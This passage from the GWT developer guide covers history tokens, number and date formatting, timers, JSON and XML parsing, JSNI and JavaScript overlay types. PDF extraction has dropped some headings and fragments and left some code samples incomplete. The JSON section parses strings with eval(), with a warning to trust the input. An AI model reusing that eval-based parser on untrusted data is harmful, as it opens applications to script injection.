entire 64-bit range. Overflow is emulated to match the expected behavior. There are a couple of caveats. Heavy use of long operations will have a performance impact due to the underlying emulation. Additionally, long primitives cannot be used in JSNI code because they are not a native JavaScript numeric type. 191 / 469
Exceptions: try, catch, finally and user-defined exceptions are supported as normal, although Throwable.getStackTrace() is not meaningfully supported in production mode. Note: Several fundamental exceptions implicitly produced by the Java VM, most notably NullPointerException, StackOverflowError, and OutOfMemoryError, do not occur in production mode as such. Instead, a JavaScriptException is produced for any implicitly generated exceptions. This is because the nature of the underlying JavaScript exception cannot be reliably mapped onto the appropriate Java exception type.
Assertions: assert statements are always active in development mode because it's a great way for GWT libraries to provide lots of helpful error checking while you're debugging. The GWT compiler removes and ignores all assertions by default, but you can enable them in production mode by specifying the -ea flag to Compiler. Multithreading and Synchronization: JavaScript interpreters are single-threaded, so while GWT silently accepts the synchronized keyword, it has no real effect. Synchronization-related library methods are not available, including Object.wait(), Object.notify(), and Object.notifyAll(). The compiler will ignore the synchronized keyword but will refuse to compile your code if the Object's related synchronization methods are invoked. Reflection: For maximum efficiency, GWT compiles your Java source into a monolithic script, and does not support subsequent dynamic loading of classes. This and other optimizations preclude general support for reflection. However, it is possible to query an object for its class name using Object.getClass().getName(). Finalization: JavaScript does not support object finalization during garbage collection, so GWT is not able to be honor Java finalizers in production mode. Strict Floating-Point: The Java language specification precisely defines floating-point support, including single-precision and double-precision numbers as well as the strictfp keyword. GWT does not support the strictfp keyword and can not ensure any particular degree of floating-point precision in translated code, so you may want to avoid calculations in client-side code that require a guaranteed level of floating-point precision.
192 / 469
4.3.3.
History
Ajax applications sometimes fail to meet user's expectations because they do not interact with the browser in the same way as static web pages. This is often apparent and frustrating for users when an Ajax application does not integrate with browser history. For example, users expect browsers to be able to navigate back to previous pages visited using back and forward actions. Because an Ajax application is a usually single page running JavaScript logic and not a series of pages, the browser history needs help from the application to support this use case. Thankfully, GWT's history mechanism makes history support fairly straightforward. 1. 2. 3. 4. 5. 6. The GWT History Mechanism History Tokens Example Hyperlink Widgets Stateful applications Handling an onValueChange() callback
History Tokens
GWT includes a mechanism to help Ajax developers activate browser history. For each page that is to be navigable in the history, the application should generate a unique history token. A token is simply a string that the application can parse to return to a particular state. This token will be saved in browser history as a URL fragment (in the location bar, after the "#"), and this fragment is passed back to the application when the user goes back or forward in history, or follows a link. For example, a history token named "page1" would be added to a URL as follows: http://www.example.com/com.example.gwt.HistoryExample/HistoryExample.html#page1 When the application wants to push a placeholder onto the browser's history stack, it simply invokes History.newItem(token). When the user uses the back button, a call will be made to any object that was added as a handler with History.addValueChangeHandler(). It is up to the application to restore the state according to the value of the new token.
193 / 469
Example
To use GWT History support, you must first embed an iframe into your host HTML page.
<iframe src="javascript:''" id="__gwt_historyFrame" style="width:0;height:0;border:0"></iframe>
Then, in your GWT application, perform the following steps: Add a history token to the history stack when you want to enable a history event. Create an object that implements the ValueChangeHandler interface, parses the new token (available by calling ValueChangeEvent.getValue()) and changes the application state to match.
The following short example shows how to add a history event each time the user selects a new tab in a TabPanel.
import com.google.gwt.core.client.EntryPoint; import com.google.gwt.event.logical.shared.SelectionEvent; import com.google.gwt.event.logical.shared.SelectionHandler; import com.google.gwt.event.logical.shared.ValueChangeEvent; import com.google.gwt.event.logical.shared.ValueChangeHandler; import com.google.gwt.user.client.History; import com.google.gwt.user.client.ui.HTML; import com.google.gwt.user.client.ui.RootPanel; import com.google.gwt.user.client.ui.TabPanel; /** * Entry point classes define <code>onModuleLoad()</code>. */ public class BrowserHistoryExample implements EntryPoint { TabPanel tabPanel; /** * This is the entry point method. */ public void onModuleLoad() { tabPanel = new TabPanel(); tabPanel.add(new HTML("<h1>Page 0 Content: Llamas</h1>"), " Page 0 "); tabPanel.add(new HTML("<h1>Page 1 Content: Alpacas</h1>"), " Page 1 "); tabPanel.add(new HTML("<h1>Page 2 Content: Camels</h1>"), " Page 2 "); tabPanel.addSelectionHandler(new SelectionHandler<Integer>(){ public void onSelection(SelectionEvent<Integer> event) { History.newItem("page" + event.getSelectedItem()); }}); History.addValueChangeHandler(new ValueChangeHandler<String>() { public void onValueChange(ValueChangeEvent<String> event) { String historyToken = event.getValue(); // Parse the history token try { if (historyToken.substring(0, 4).equals("page")) { String tabIndexToken = historyToken.substring(4, 5); int tabIndex = Integer.parseInt(tabIndexToken); // Select the specified tab panel tabPanel.selectTab(tabIndex); } else { tabPanel.selectTab(0); } } catch (IndexOutOfBoundsException e) { tabPanel.selectTab(0); } } }); tabPanel.selectTab(0); RootPanel.get().add(tabPanel); } }
Hyperlink Widgets
Hyperlinks are convenient to use to incorporate history support into an application. Hyperlink widgets are GWT widgets that look like regular HTML anchors. You can associate a history token with the Hyperlink, and when it is clicked, the history token is automatically added to the browser's history stack. The History.newItem(token) step is done automatically.
194 / 469
Stateful applications
Special care must be taken in handling history for applications that store state. Enough information must be coded into the history token to restore the application state back to the point at which the history token was set. The application must also be careful to clear away any state not relevant to navigating back to a previously visited page. As an example, an application that presents a multi-page questionnaire could encode the page number as a token as well as some other states. When a new page in the questionnaire is presented, a history token is added to the history stack. Note that with stateful applications, such as a questionnaire, some careful thought needs to be given to implementing the history callback. When returning to a page using a token, some logic needs to restore the previous state.
Action Navigate to page where user enters biographic info. Restore previously entered data Navigate to page 1 in the questionnaire. Restore previous answers. Navigate to page 2 in the questionnaire. Restore previous answers. Navigate to page
<n>
<n>
...
"end"
Navigate to the end of the questionnaire. Validate that all questions were answered. Make sure not to re-submit the questionnaire.
In the above case, navigating back to a page would be possible, but there isn't enough information in the history token to restore the user's previous answers. A better encoding for the token would be a syntax such as:
page=<pagename>;session=<sessionname>
Where <pagename> tells the application which page to go to and <sessionname> is a key to finding the user's previously entered data in a database.
195 / 469
4.3.4.
GWT does not provide full emulation for the date and number formatting classes (java.text.DateFormat, java.text.DecimalFormat, java.text.NumberFormat, java.TimeFormat, et cetera). Instead, a subset of the functionality of the JRE classes is provided by com.google.gwt.i18n.client.NumberFormat and com.google.gwt.i18n.client.DateTimeFormat. The major difference between the standard Java classes and the GWT classes is the ability to switch between different locales for formating dates and numbers at runtime. In GWT, the deferred binding mechanism is used to load only the logic needed for the current locale into the application. In order to use the NumberFormat or DateTimeFormat classes, you should update your module XML file with the following inherits line:
<inherits name="com.google.gwt.i18n.I18N"/>
See the internationalization topic for more information about setting up locale. 1. Using NumberFormat 2. Using DateTimeFormat
Using NumberFormat
When using the NumberFormat class, you do not instantiate it directly. Instead, you retrieve an instance by calling one of its static get...Format() methods. For most cases, you probably want to use the default decimal format:
NumberFormat fmt = NumberFormat.getDecimalFormat(); double value = 12345.6789; String formatted = fmt.format(value); // Prints 1,2345.6789 in the default locale GWT.log("Formatted string is" + formatted, null);
The class can also be used to convert a numeric string back into a double:
double value = NumberFormat.getDecimalFormat().parse("12345.6789"); GWT.log("Parsed value is" + value, null);
Note that you can also specify your own pattern for formatting numbers. In the example below, we want to show 6 digits of precision on the right hand side of the decimal and format the left hand side with zeroes up to the hundred thousands place:
double value = 12345.6789; String formatted = NumberFormat.getFormat("000000.000000").format(value); // prints 012345.678900 in the default locale GWT.log("Formatted string is" + formatted, null);
Here are the most commonly used pattern symbols for decimal formats:
196 / 469
Symbol 0 # . ,
Meaning Digit, zero forced Digit, zero shows as absent Decimal separator or monetary decimal separator Minus sign Grouping separator
Specifying an invalid pattern will cause the NumberFormat.getFormat() method to throw an java.lang.IllegalArgumentException. The pattern specification is very rich. Refer to the class documentation for the full set of features. If you will be using the same number format pattern more than once, it is most efficient to cache the format handle returned from NumberFormat.getFormat(pattern).
Using DateTimeFormat
GWT provides the DateTimeFormat class to replace the functionality of the DateFormat and TimeFormat classes from the JRE. For the DateTimeFormat class, there are a large number of default formats defined.
Date today = new Date(); // prints Tue Dec 18 12:01:26 GMT-500 2007 in the default locale. GWT.log(today.toString(), null); // prints 12/18/07 in the default locale GWT.log(DateTimeFormat.getShortDateFormat().format(today), null); // prints December 18, 2007 in the default locale GWT.log(DateTimeFormat.getLongDateFormat().format(today), null); // prints 12:01 PM in the default locale GWT.log(DateTimeFormat.getShortTimeFormat().format(today), null); // prints 12:01:26 PM GMT-05:00 in the default locale GWT.log(DateTimeFormat.getLongTimeFormat().format(today), null); // prints Dec 18, 2007 12:01:26 PM in the default locale GWT.log(DateTimeFormat.getMediumDateTimeFormat().format(today), null);
Like the NumberFormat class, you can also use this class to parse a date from a String into a Date representation. You also have the option of using the default formats for date and time combinations, or you may build your own using a pattern string. See the DateTimeFormat class documentation for specifics on how to create your own patterns. Be cautious when straying from the default formats and defining your own patterns. Displaying dates and times incorrectly can be extremely aggravating to international users. Consider the date: 12/04/07 In some countries this is understood to mean the date December 4th, 2007 in others, it would be April 12th, 2007, in yet another locale, it might mean April 7th, 2012. For displaying in a common format such as this, use the default formats and let the localization mechanism in the DateTimeFormat do the work for you.
197 / 469
4.3.5.
Do you need to do any of the following? schedule an activity for some time in the future periodically query the server or update the interface queue up work to do that must wait for other initialization to finish perform a large amount of computation
GWT provides three classes that you can use to defer running code until a later point in time: Timer, DeferredCommand, and IncrementalCommand. 1. Scheduling work: the Timer class Creating Timeout Logic Periodically Running Logic 2. Deferring some logic into the immediate future: the DeferredCommand class 3. Avoiding Slow Script Warnings: the IncrementalCommand class
Notice that the timer will not have a chance to execute the run() method until after control returns to the JavaScript event loop.
198 / 469
import com.google.gwt.user.client.Timer; import com.google.gwt.user.client.Window; import com.google.gwt.user.client.rpc.AsyncCallback; public class Foo { // A keeper of the timer instance in case we need to cancel it private Timer timeoutTimer = null; // An indicator when the computation should quit private boolean abortFlag = false; static final int TIMEOUT = 30; // 30 second timeout void startWork () { // ... // Check to make sure the timer isn't already running. if (timeoutTimer != null) { Window.alert("Command is already running!"); return; } // Create a timer to abort if the RPC takes too long timeoutTimer = new Timer() { public void run() { Window.alert("Timeout expired."); timeoutTimer = null; abortFlag = true; } }; // (re)Initialize the abort flag and start the timer. abortFlag = false; timeoutTimer.schedule(TIMEOUT * 1000); // timeout is in milliseconds // Kick off an RPC myService.myRpcMethod(arg, new AsyncCallback() { public void onFailure(Throwable caught) { Window.alert("RPC Failed:" + caught); cancelTimer(); } public void onSuccess(Object result) { cancelTimer(); if (abortFlag) { // Timeout already occurred. discard result return; } Window.alert ("RPC returned: "+ (String)result); } } } // Stop the timeout timer if it is running private void cancelTimer() { if (timeoutTimer != null) { timeoutTimer.cancel(); timeoutTimer = null; } } }
199 / 469
public class Foo { // A timer to update the elapsed time count private Timer elapsedTimer; private Label elapsedLabel = new Label(); private long startTime; public Foo () { // ... Add elapsedLabel to a Panel ... // Create a new timer elapsedTimer = new Timer () { public void run() { showElapsed(); } }; startTime = System.currentTimeMillis(); // Schedule the timer for every 1/2 second (500 milliseconds) elapsedTimer.scheduleRepeating(500); // ... The elapsed timer has started ... } /** * Show the current elapsed time in the elapsedLabel widget. */ private void showElapsed () { double elapsedTime = (System.currentTimeMillis() - startTime) / 1000.0; NumberFormat n = NumberFormat.getFormat("#,##0.000"); elapsedLabel.setText("Elapsed: " + n.format(elapsedTime)); } }
Deferring some logic into the immediate future: the DeferredCommand class
Sometimes you want to break up your logic loop so that the JavaScript event loop gets a chance to run between two pieces of code. The DeferredCommand class will allow you to do that. The logic that you pass to DeferredCommand will run at some point in the future, after control has been returned to the JavaScript event loop. This little delay may give the interface a chance to process some user events or initialize other code. To use the DeferredCommand class in its simplest form, you create a subclass of the Command class, overriding the execute() method and pass it to DeferredCommand.addCommand().
TextBox dataEntry; // Set the focus on the widget after setup completes. DeferredCommand.addCommand(new Command() { public void execute () { dataEntry.setFocus(); } } dataEntry = new TextBox();
Any script that runs without returning control to the JavaScript main event loop for more than 10 seconds or so runs the 200 / 469
risk of having the browser popup this dialog to the user. The dialog is there because a poorly written script might have an infinite loop or some other bug that is keeping the browser from responding. But in AJAX applications, the script may be doing legitimate work. GWT provides an IncrementalCommand class that helps perform long running calculations. It works by repeatedly calling an 'execute()' entry point until the computation is complete. The following example is an outline of how to use the IncrementalCommand class to do some computation in a way that allows the browser's user interface to be responsive:
public class IncrementalCommandTest implements EntryPoint { // Number of times doWork() is called static final int MAX_LOOPS = 10000; // Tight inner loop in doWork() static final int WORK_LOOP_COUNT = 50; // Number of times doWork() is called in IncrementalCommand before // returning control to the event loop static final int WORK_CHUNK = 100; // A button to kick off the computation Button button; public void onModuleLoad() { button = new Button("Start Computation"); button.addClickHandler(new ClickHandler () { public void onClick(ClickEvent event) { doWorkIncremental(); } } } /** * Create a IncrementalCommand instance that gets called back every so often * until all the work it has to do is complete. */ private void doWorkIncremental () { // Turn off the button so it won't start processing again. button.setEnabled(false); IncrementalCommand ic = new IncrementalCommand(){ int counter = 0; public boolean execute() { for (int i=0;i<WORK_CHUNK;i++) { counter++; result += doWork(); // If we have done all the work, exit with a 'false' // return value to terminate further execution. if (counter == MAX_LOOPS) { // Re-enable button button.setEnabled(true); // ... other end of computation processing ... return false; } } // Call the execute function again. return true; } }; // Schedule the IncrementalCommand instance to run when // control returns to the event loop by returning 'true' DeferredCommand.addCommand(ic); } /** * Routine that keeps the CPU busy for a while. * @return an integer result of the calculation */ private int doWork() { int result; // ... computation... return result; }
201 / 469
4.3.6.
Many AJAX application developers have adopted JSON as the data format of choice for server communication. It is a relatively simple format based on the object-literal notation of JavaScript. If you choose to use JSON-encoded data within your application, you can use GWT classes to parse and manipulate JSON objects, as well as the very useful and elegant concept of JavaScript Overlay Types. The JSON format is based on the syntax and data types of the JavaScript language. It supports strings, numbers, booleans, and null values. You can also combine multiple values into arrays and objects. JSON objects are simply unordered sets of name/value pairs, where the name is always a string and the value is any other valid JSON type (even another object). Here's an example of encoding product data in JSON:
{
"product": { "name": "Widget", "company": "ACME, Inc", "partNumber": "7402-129", "prices": [ { "minQty": 1, "price": 12.49 }, { "minQty": 10, "price": 9.99 }, { "minQty": 50, "price": 7.99 } ] }
See json.org/example.html for more JSON examples. 1. Parsing JSON 2. Mashups with JSON and JSNI
Parsing JSON
You can parse JSON Strings and convert them to a JavaScriptObject in GWT with a simple one liner JSNI method. However, you need to be careful since eval() in JavaScript can actually run code, so you need to absolutely trust the JSON String that you evaluate.
/* * Takes in a trusted JSON String and evals it. * @param JSON String that you trust * @return JavaScriptObject that you can cast to an Overlay Type */ public static native JavaScriptObject parseJson(String jsonStr) /*-{ return eval(jsonStr); }-*/;
Typically, you will receive JSON data as the response text of an HTTP request. Thus, you'll first have to convert that String into a Object that you can work with using a method like the one shown above. The recommended way for interacting with JavaScriptObjects is to use JavaScript Overlay Types.
202 / 469
4.3.7.
Extensible Markup Language (XML) is a data format commonly used in modern web applications. XML uses custom tags to describe data and is encoded as plain text, making it both flexible and easy to work with. The GWT class library contains a set of types designed for processing XML data. 1. XML types 2. Parsing XML 3. Building an XML document
XML types
The XML types provided by GWT can be found in the com.google.gwt.xml.client package. In order to use these in your application, you'll need to add the following <inherits> tag to your module XML file:
<inherits name="com.google.gwt.xml.XML" />
Parsing XML
To demonstrate how to parse XML with GWT, we'll use the following XML document that contains an email message:
<?xml version="1.0" ?> <message> <header> <to displayName="Richard" address="rick@school.edu" /> <from displayName="Joyce" address="joyce@website.com" /> <sent>2007-05-12T12:03:55Z</sent> <subject>Re: Flight info</subject> </header> <body>I'll pick you up at the airport at 8:30. See you then!</body> </message>
Suppose that you're writing an email application and need to extract the name of the sender, the subject line, and the message body from the XML. Here is sample code that will do just that (we'll explain the code in just a bit):
private void parseMessage(String messageXml) { try { // parse the XML document into a DOM Document messageDom = XMLParser.parse(messageXml); // find the sender's display name in an attribute of the <from> tag Node fromNode = messageDom.getElementsByTagName("from").item(0); String from = ((Element)fromNode).getAttribute("displayName"); fromLabel.setText(from); // get the subject using Node's getNodeValue() function String subject = messageDom.getElementsByTagName("subject").item(0).getFirstChild().getNodeValue(); subjectLabel.setText(subject); // get the message body by explicitly casting to a Text node Text bodyNode = (Text)messageDom.getElementsByTagName("body").item(0).getFirstChild(); String body = bodyNode.getData(); bodyLabel.setText(body); } catch (DOMException e) { Window.alert("Could not parse XML document."); } }
The first step is to parse the raw XML text into an XML DOM structure we can use to navigate the data. GWT's XML parser is contained in the XMLParser class. Call its parse(String) static method to parse the XML and return a Document object. If an error occurs during parsing (for example, if the XML is not well-formed), the XMLParser will throw a DOMException. If parsing succeeds, the Document object we receive represents the XML document in memory. It is a tree composed of generic Node objects. A node in the XML DOM is the basic unit of data in an XML document. GWT contains several subinterfaces of Node which provide specialized methods for processing the various types of nodes:
203 / 469
Element - represents DOM elements, which are specified by tags in XML: <someElement></someElement>. Text - represents the text between the opening and closing tag of an element: <someElement>Here is some text.</someElement>. Comment - represents an XML comment: <!-- notes about this data -->. Attr - represents an attribute of an element: <someElement myAttribute="123" />.
Refer to the documentation for the Node interface for a complete list of types that derive from Node. To get to the DOM nodes from the Document object, we can use one of three methods. The getDocumentElement() method retrieves the document element (the top element at the root of the DOM tree) as an Element. We can then use the navigation methods of the Node class from which Element derives (e.g., getChildNodes(), getNextSibling(), getParentNode(), etc.) to drill down and retrieve the data we need. We can also go directly to a particular node or list of nodes using the getElementById(String) and getElementsByTagName(String) methods. The getElementById(String) method will retrieve the Element with the specified ID. If you want to use ID's in your XML, you'll need to supply the name of the attribute to use as the ID in the DTD of the XML document (just setting an attribute named id will not work). The getElementsByTagName(String) method is useful if you want to retrieve one or more elements with a particular tag name. The list of elements will be returned in the form of a NodeList object, which can be iterated over to get the individual Nodes it contains. In the example code, we use the getElementsByTagName(String) method to retrieve the necessary elements from the XML containing the email message. The sender's name is stored as an attribute of the <from> tag, so we use getAttribute(String). The subject line is stored as text inside the <subject> tag, so we first find the subject element, and then retrieve its first (and only) child node and call getNodeValue() on it to get the text. Finally, the message body is stored in the same way (text within the <body> tag), but this time we explicitly cast the Node to a Text object and extract the text using getData().
204 / 469
4.3.8.
Often, you will need to integrate GWT with existing handwritten JavaScript or with a third-party JavaScript library. Occasionally you may need to access low-level browser functionality not exposed by the GWT class API's. The JavaScript Native Interface (JSNI) feature of GWT can solve both of these problems by allowing you to integrate JavaScript directly into your application's Java source code. The GWT compiler translates Java source into JavaScript. Sometimes it's very useful to mix handwritten JavaScript into your Java source code. For example, the lowest-level functionality of certain core GWT classes are handwritten in JavaScript. GWT borrows from the Java Native Interface (JNI) concept to implement JavaScript Native Interface (JSNI). Writing JSNI methods is a powerful technique, but should be used sparingly because writing bulletproof JavaScript code is notoriously tricky. JSNI code is potentially less portable across browsers, more likely to leak memory, less amenable to Java tools, and harder for the compiler to optimize. We think of JSNI as the web equivalent of inline assembly code. You can use it in many ways: Implement a Java method directly in JavaScript Wrap type-safe Java method signatures around existing JavaScript Call from JavaScript code into Java code and vice-versa Throw exceptions across Java/JavaScript boundaries Read and write Java fields from JavaScript Use development mode to debug both Java source (with a Java debugger) and JavaScript (with a script debugger)
1. 2. 3. 4. 5. 6. 7. 8.
Writing Native JavaScript Methods Accessing Java Methods and Fields from JavaScript Calling a Java Method from Handwritten JavaScript Sharing objects between Java source and JavaScript Passing Java values into JavaScript Passing JavaScript values into Java code Important Notes Exceptions and JSNI
Examples
Here is a simple example of how to code a JSNI method that puts up a JavaScript alert dialog:
public static native void alert(String msg) /*-{ $wnd.alert(msg); }-*/;
Note that the code did not reference the JavaScript window object directly inside the method. When accessing the browser's window and document objects from JSNI, you must reference them as $wnd and $doc, respectively. Your compiled script runs in a nested frame, and $wnd and $doc are automatically initialized to correctly refer to the host page's window and document. Here is another example with a problem:
205 / 469
public static native int badExample() /*-{ return "Not A Number"; }-*/; public void onClick () { try { int myValue = badExample(); GWT.log("Got value " + myValue, null); } catch (Exception e) { GWT.log("JSNI method badExample() threw an exception:", e); } }
This example compiles as Java, and its syntax is verified by the GWT compiler as valid JavaScript. But when you run the example code in development mode, it returns an exception. Click on the line in the log window to display the exception in the message area below:
com.google.gwt.dev.shell.HostedModeException: invokeNativeInteger(@com.example.client.GWTObjectNotifyTest::badExample()): JS value of type string, expected int at com.google.gwt.dev.shell.JsValueGlue.getIntRange(JsValueGlue.java:343) at com.google.gwt.dev.shell.JsValueGlue.get(JsValueGlue.java:179) at com.google.gwt.dev.shell.ModuleSpace.invokeNativeInt(ModuleSpace.java:233) at com.google.gwt.dev.shell.JavaScriptHost.invokeNativeInt(JavaScriptHost.java:97) at com.example.client.GWTObjectNotifyTest.badExample(GWTObjectNotifyTest.java:29) at com.example.client.GWTObjectNotifyTest$1.onClick(GWTObjectNotifyTest.java:52) ...
In this case, neither the Java IDE nor the GWT compiler could tell that there was a type mismatch between the code inside the JSNI method and the Java declaration. The GWT generated interface code caught the problem at runtime in development mode. When running in production mode, you will not see an exception. JavaScript's dynamic typing obscures this kind of problem. Tip: Since JSNI code is just regular JavaScript, you will not be able to use Java debugging tools inside your JSNI methods when running in development mode. However, you can set a breakpoint on the source line containing the opening brace of a JSNI method, allowing you to see invocation arguments. Also, the Java compiler and GWT compiler do not perform any syntax or semantic checks on JSNI code, so any errors in the JavaScript body of the method will not be seen until run time.
instance-expr. : must be present when calling an instance method and must be absent when calling a static method class-name : is the fully-qualified name of the class in which the method is declared (or a subclass thereof) param-signature : is the internal Java method signature as specified at JNI Type Signatures but without the trailing signature of the method return type since it is not needed to choose the overload arguments : is the actual argument list to pass to the called method
206 / 469
We compare the Java expression versus the JSNI expression: new TopLevel() becomes @pkg.TopLevel::new()() new StaticInner() becomes @pkg.TopLevel.StaticInner::new()() someTopLevelInstance.new InstanceInner(123) becomes @pkg.TopLevel.InstanceInner::new(Lpkg/TopLevel;I)(someTopLevelInstance, 123) The enclosing instance of a non-static class is implicitly defined as the first parameter for constructors of a non-static class. Regardless of how deeply-nested a non-static class is, it only needs a reference to an instance of its immediately-enclosing type.
Example
Here's an example of accessing static and instance fields from JSNI.
public class JSNIExample { String myInstanceField; static int myStaticField; void instanceFoo(String s) { // use s } static void staticFoo(String s) { // use s } public native void bar(JSNIExample x, String s) /*-{ // Call instance method instanceFoo() on this this.@com.google.gwt.examples.JSNIExample::instanceFoo(Ljava/lang/String;)(s); // Call instance method instanceFoo() on x x.@com.google.gwt.examples.JSNIExample::instanceFoo(Ljava/lang/String;)(s); // Call static method staticFoo() @com.google.gwt.examples.JSNIExample::staticFoo(Ljava/lang/String;)(s); // Read instance field on this var val = this.@com.google.gwt.examples.JSNIExample::myInstanceField; // Write instance field on x x.@com.google.gwt.examples.JSNIExample::myInstanceField = val + " and stuff"; // Read static field (no qualifier) @com.google.gwt.examples.JSNIExample::myStaticField = val + " and stuff"; }-*/; }
Tip: As of the GWT 1.5 release, the Java varargs construct is supported. The GWT compiler will translate varargs calls between two pieces of Java code, however, calling a varargs Java method from JSNI will require the JavaScript caller to pass an array of the appropriate type. 207 / 469
Notice that the reference to the exported method has been wrapped in a call to the $entry function. This implicitlydefined function ensures that the Java-derived method is executed with the uncaught exception handler installed and pumps a number of other utility services. The $entry function is reentrant-safe and should be used anywhere that GWT-derived JavaScript may be called into from a non-GWT context. On application initialization, call MyUtilityClass.exportStaticMethod() (e.g. from your GWT Entry Point). This will assign the function to a variable in the window object called computeLoanInterest.
208 / 469
Important Notes
The Java long type cannot be represented in JavaScript as a numeric type, so GWT emulates it using an opaque data structure. This means that JSNI methods cannot process a long as a numeric type. The compiler therefore disallows, by default, directly accessing a long from JSNI: JSNI methods cannot have long as a parameter type or a return type, and they cannot access a long using a JSNI reference. If you find yourself wanting to pass a long into or out of a JSNI method, here are some options: 1. For numbers that fit into type double, use type double instead of type long. 2. For computations that require the full long semantics, rearrange the code so that the computations happen in Java instead of in JavaScript. That way they will use the long emulation. 3. For values meant to be passed through unchanged to Java code, wrap the value in a Long. There are no restrictions on type Long with JSNI methods. 4. If you are sure you know what you are doing, you can add the annotation com.google.gwt.core.client.UnsafeNativeLong to the method. The compiler will then allow you to pass a long into and out of JavaScript. It will still be an opaque data type, however, so the only thing you will be able to do with it will be to pass it back to Java. Violating any of these marshaling rules in development mode will generate a com.google.gwt.dev.shell.HostedModeException detailing the problem. This exception is not translatable and never thrown in production mode. JavaScriptObject gets special treatment from the GWT compiler and development mode. Its purpose is to provide an opaque representation of native JavaScript objects to Java code. Although Java arrays are not directly usable in JavaScript, there are some helper classes that efficiently achieve a similar effect: JsArray, JsArrayBoolean, JsArrayInteger, JsArrayNumber, and JsArrayString. These classes are wrappers around a native JavaScript array. Java null and JavaScript null are identical and always legal values for any non-primitive Java type. JavaScript undefined is also considered equal to null when passed into Java code (the rules of JavaScript dictate that in JavaScript code, null == undefined is true but null === undefined is false). In previous versions of GWT, undefined was not a legal value to pass into Java.
209 / 469
For example, 1. Java method doFoo() calls JSNI method nativeFoo() 2. nativeFoo() internally calls Java method fooImpl() 3. fooImpl() throws an exception The exception thrown from fooImpl() will propagate through nativeFoo() and can be caught in doFoo(). The exception will retain its type and identity.
4.3.9.
Suppose you're happily using JSNI to call bits of handwritten JavaScript from within your GWT module. It works well, but JSNI only works at the level of individual methods. Some integration scenarios require you to more deeply intertwine JavaScript and Java objects DOM and JSON programming are two good examples and so what we really want is a way to interact directly with JavaScript objects from our Java source code. In other words, we want JavaScript objects that look like Java objects when we're coding. GWT 1.5 introduces JavaScript overlay types to make it easy to integrate entire families of JavaScript objects into your GWT project. There are many benefits of this technique, including the ability to use your Java IDE's code completion and refactoring capabilities even as you're working with untyped JavaScript objects.
"Jimmy", "LastName" : "Webber" }, "Alan", "LastName" : "Dayal" }, "Keanu", "LastName" : "Spoon" }, "Emily", "LastName" : "Rudnick" }
To superimpose a Java type onto the above structure, you start by subclassing JavaScriptObject, a marker type that GWT uses to denote JavaScript objects. Let's go ahead and add some getters, too.
// An overlay type class Customer extends JavaScriptObject { // Overlay types always have protected, zero-arg ctors protected Customer() { } // Typically, methods on overlay types are JSNI public final native String getFirstName() /*-{ return this.FirstName; }-*/; public final native String getLastName() /*-{ return this.LastName; }-*/; // Note, though, that methods aren't required to be JSNI public final String getFullName() { return getFirstName() + " " + getLastName(); } }
GWT will now understand that any instance of Customer is actually a true JavaScript object that comes from outside your GWT module. This has useful implications. For example, notice the this reference inside getFirstName() and getLastName(). That this is truly the identity of the JavaScript object, so you interact with it exactly as it exists in JavaScript. In this example, we can directly access the JSON fields we know exist, this.FirstName and this.LastName. So, how do you actually get a JavaScript object on which to overlay a Java type? You can't construct it by writing new Customer() because the whole point is to overlay a Java type onto an already existing JavaScript object. Thus, we have to get such an object from the wild using JSNI:
210 / 469
class MyModuleEntryPoint implements EntryPoint { public void onModuleLoad() { Customer c = getFirstCustomer(); // Yay! Now I have a JS object that appears to be a Customer Window.alert("Hello, " + c.getFirstName()); } // Use JSNI to grab the JSON object we care about // The JSON object gets its Java type implicitly // based on the method's return type private native Customer getFirstCustomer() /*-{ // Get a reference to the first customer in the JSON array from earlier return $wnd.jsonData[0]; }-*/; }
Let's clarify what we've done here. We've taken a plain-old-JSON-object (POJSONO, anyone? no?) and created a normal-looking Java type that can be used to interact with it within your GWT code. You get code completion, refactoring, and compile-time checking as you would with any Java code. Yet, you have the flexibility of interacting with arbitrary JavaScript objects, which makes things like accessing JSON services via RequestBuilder a breeze. A quick digression for compiler geeks. Another neat thing about overlay types is that you can augment the Java type without disturbing the underlying JavaScript object. In the example above, notice that we added the getFullName() method. It's purely Java code it doesn't exist on the underlying JavaScript object and yet the method is written in terms of the underlying JavaScript object. In other words, the Java view of the JavaScript object can be richer in functionality than the JavaScript view of the same object but without having to modify the underlying JS object, neither the instance nor its prototype. (This is still part of the digression.) This cool wackiness of adding new methods to overlay types is possible because the rules for overlay types by design disallow polymorphic calls; all methods must be final and/or private. Consequently, every method on an overlay type is statically resolvable by the compiler, so there is never a need for dynamic dispatch at runtime. That's why we don't have to muck about with an object's function pointers; the compiler can generate a direct call to the method as if it were a global function, external to the object itself. It's easy to see that a direct function call is faster than an indirect one. Better still, since calls to methods on overlay types can be statically resolved, they are all candidates for automatic inlining, which is a Very Good Thing when you're fighting for performance in a scripting language. Below we'll revisit this to show you just how much this regimen pays off.
211 / 469
// Elsewhere class Troll { /** This method doesn't care about whether p is a JSO or not, this makes testing easier. */ public void grindBones(Person p) { String name = p.getName(); ... } }
In the above example, the Person.getName() will be mapped to PersonJso.getName(). Because JavaScriptObject methods must be final, subclasses of PersonJso are allowed since they cannot override getName(). It would be an error to declare class SomeOtherJso extends JavaScriptObject implements Person{} because JavaScriptObjects have no type information at runtime, so Person.getName() could not be unambiguously dispatched.
This is nice clean code, especially considering the flexibility of the plumbing it's built upon. As hinted at earlier, the compiler can do pretty fancy stuff to make this quite efficient. Take a look at the unobfuscated compiled output for the onModuleLoad() method:
function $onModuleLoad(){ var cs, i, n; cs = $wnd.jsonData; for (i = 0, n = cs.length; i < n; ++i) { $wnd.alert('Hello, ' + (cs[i].FirstName + ' ' + cs[i].LastName)); } }
This is pretty darn optimized. Even the overhead of the getFullName() method went away. In fact, all of the Java method calls went away. When we say that "GWT gives you affordable abstractions," this is the kind of thing we're talking about. Not only does inlined code run significantly faster, we no longer had to include the function definitions themselves, thus shrinking the script a litte, too. (To be fair, though, inlining can also easily increase script size, so we're careful to strike a balance between size and speed.) It's pretty fun to look back at the original Java source above and try to reason about the sequence of optimizations the compiler had to perform to end up here. Of course, we can't resist showing you the corresponding obfuscated code:
function B(){var a,b,c;a=$wnd.jsonData;for(b=0,c=a.length;b<c;++b){ $wnd.alert(l+(a[b].FirstName+m+a[b].LastName))}}
Notice in this version that the only bits that aren't obfuscated are the identifiers that originated in JavaScript, such as FirstName, LastName, jsonData, etc. That's why, although GWT strives to make it easy to do lots of JavaScript interop, we try hard to persuade people to write as much of their code as possible as pure Java source instead of mixing 212 / 469
with JavaScript. Hopefully now when you hear us say that, you'll understand that we aren't bashing JavaScript it's just that we can't optimize it as much, which makes us sad.
4.3.10.
Deferred Binding
